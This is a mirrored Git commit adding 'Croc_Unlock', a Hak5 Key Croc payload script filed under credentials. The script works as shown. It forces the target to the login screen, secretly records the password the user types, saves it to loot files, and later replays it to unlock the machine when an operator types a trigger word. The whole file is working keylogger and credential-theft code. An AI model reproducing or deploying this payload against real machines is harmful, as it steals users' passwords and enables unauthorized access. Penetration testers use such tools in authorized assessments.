hak5
/
keycroc-payloads
mirror of https://github.com/hak5/keycroc-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Create Croc_Unlock.txt 

Pressing GUI-l will open windows / linux parrot OS login screen and wait for user to enter passwd with SAVEKEYS command
Type in crocunlock at the target login screen will delete crocunlock characters and enter user passwd
NOTE: This payload is relying on the ENTER key to be press after user has enter passwd
pull/53/head
spywill 2022-12-09 03:30:25 -05:00 committed by GitHub
parent 7f84d8457c
commit 5013b1059d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 96 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

96
payloads/library/credentials/Croc_Unlock/Croc_Unlock.txt Normal file
View File

@ -0,0 +1,96 @@
# Title: Croc_Unlock
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
# Author: Spywill / RootJunky
# Version: 2.0
# Category: Key Croc
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
UNLOCK_TMP="/tmp/unlock_Count.txt"
if [[ -d "/root/udisk/loot/Croc_Pot" && "/root/udisk/tools/Croc_Pot" ]]; then
LED B
else
mkdir -p /root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot
fi
UNLOCK_FILE() {
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
:
done
LED G
Q DELAY 5000
LED OFF
}
UNLOCK_COUNT() {
if [ -f ${UNLOCK_TMP} ]; then
i=$(sed -n 1p ${UNLOCK_TMP})
echo $(( $i + 1 )) > ${UNLOCK_TMP}
RELOAD_PAYLOADS
else
echo $(( i++ )) > ${UNLOCK_TMP}
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
fi
fi
Q DELAY 1000
}
case $LOOT in
GUI-l)
UNLOCK_COUNT
Q KEYCODE 00,00,2c
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
LED ATTACK
UNLOCK_FILE
else
RELOAD_PAYLOADS
UNLOCK_FILE
fi
;;
CONTROL-ALT-F3)
UNLOCK_COUNT
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt ]; then
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
Q ENTER
Q DELAY 1000
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
LED ATTACK
UNLOCK_FILE
fi
else
RELOAD_PAYLOADS
UNLOCK_FILE
fi
;;
crocunlock)
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
$(sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)
$(sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)
LED G
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q DELAY 1000
Q STRING "$(sed '$!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)"
Q ENTER
LED OFF
RELOAD_PAYLOADS
else
LED R
RELOAD_PAYLOADS
fi
;;
esac